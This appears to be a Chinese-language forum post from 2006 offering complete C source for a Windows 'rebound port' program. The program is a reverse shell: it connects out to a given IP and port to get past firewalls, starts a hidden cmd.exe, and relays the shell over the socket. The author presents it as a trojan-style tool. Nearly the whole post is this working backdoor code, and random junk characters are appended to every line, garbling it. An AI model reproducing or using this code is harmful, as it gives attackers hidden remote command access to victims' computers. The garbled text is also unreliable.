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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WgZ@N  
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/* ============================== _Y7:!-n}   
Rebound port in Windows NT x:C@)CAr  
By wind,2006/7 'RQiLUF  
===============================*/ Loc8eToZ  
#include +I.v!P!^  
#include @SQceQfB  
R_9 o!s TZ  
#pragma comment(lib,"wsock32.lib") p|s2G~0<  
LT& /0  
void OutputShell(); JilKZQmk  
SOCKET sClient; Re\o v x9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }6@%((9E 2  
hG~Uz   
void main(int argc,char **argv) +Wd L  
{ 4L $};L  
WSADATA stWsaData; /xf.\Z7<  
int nRet; U TS{H  
SOCKADDR_IN stSaiClient,stSaiServer; 85 Dm8~  
D{3fhPNU<b  
if(argc != 3) "Y(%oJS]D  
{ rxArTpS{.#  
printf("Useage:\n\rRebound DestIP DestPort\n"); T"B8;|  
return; sOC| B  
} p Mh++H]"  
\aB&{`iG  
WSAStartup(MAKEWORD(2,2),&stWsaData); G "c/a8  
kw;wlFU;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Otur  
v<`$bvv?  
stSaiClient.sin_family = AF_INET; Pd,!&  
stSaiClient.sin_port = htons(0); $4: ~* IQ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R1~7F{FW  
BMF3XcH~G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m9k2h1  
{ pdy+h{]3  
printf("Bind Socket Failed!\n"); $ JuLAqq  
return; }R\B.2#M_@  
} ^[*AK_o_DQ  
#e*$2+`[A  
stSaiServer.sin_family = AF_INET; o=@ UXi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Hj1k-Bs&'w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W >Kp\tD  
!Am =v=>  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) nT)~w s  
{ -/1d&  
printf("Connect Error!"); l2r>|CGQ[  
return; s?HsUD$b  
} r@;$V_I  
OutputShell(); %va[jJ  
} U <|B7t4M  
HN^w'I'bp  
void OutputShell() $*wu~  
{ FmR\`yY_,  
char szBuff[1024]; lej^gxj/2  
SECURITY_ATTRIBUTES stSecurityAttributes; _5Bu [I  
OSVERSIONINFO stOsversionInfo; <)"iL4 kDI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OY$7`8M[  
STARTUPINFO stStartupInfo; 9.jG\i  
char *szShell; x9 TuweG  
PROCESS_INFORMATION stProcessInformation; miWw6!()  
unsigned long lBytesRead; f)qPFM]%z  
^1()W,B~w  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E:%>0FE  
t<8z08  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *pY/5? g  
stSecurityAttributes.lpSecurityDescriptor = 0; w:n(pLc<  
stSecurityAttributes.bInheritHandle = TRUE; Un~]Q?w  
eNHpgj  
"ngSilH?D  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [ +yGDMLs  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,CN#co  
x!Y(Y=i>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wbo{JQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F1zT )wW  
stStartupInfo.wShowWindow = SW_HIDE; % 1OC#&  
stStartupInfo.hStdInput = hReadPipe; hwc:@'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1mAUEQ!  
]Pz|Oi+]  
GetVersionEx(&stOsversionInfo); 5Gc_LI&v7  
F%9e@{  
switch(stOsversionInfo.dwPlatformId) lrq>TJEcx  
{ 9$n+-GSK  
case 1: 7O]J^H+7  
szShell = "command.com"; "Wxo[I  
break; oA5<[&~<  
default: -wJ   
szShell = "cmd.exe"; q|?`Gsr  
break; 8|fLe\"  
} '3IkPy1Uz  
tuX =o  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @#'yPV1  
z&\Il#'\m+  
send(sClient,szMsg,77,0); {(8U8f<'=y  
while(1) YWybPD4\(  
{  >cC Gx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !k4 }v'=  
if(lBytesRead) AEiWL.*.  
{ i/l!Cr2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qQwJJjf  
send(sClient,szBuff,lBytesRead,0); y^5T/M  
} Zb 12:?  
else 8ct+?-3g  
{ oSpi{ $x  
lBytesRead=recv(sClient,szBuff,1024,0); oFX"F0rx  
if(lBytesRead<=0) break; }(8D!XgWa  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z7D*z8,i  
} #p']-No  
} L{4),65  
j=`y  @~  
return; DKe6?PG  
}
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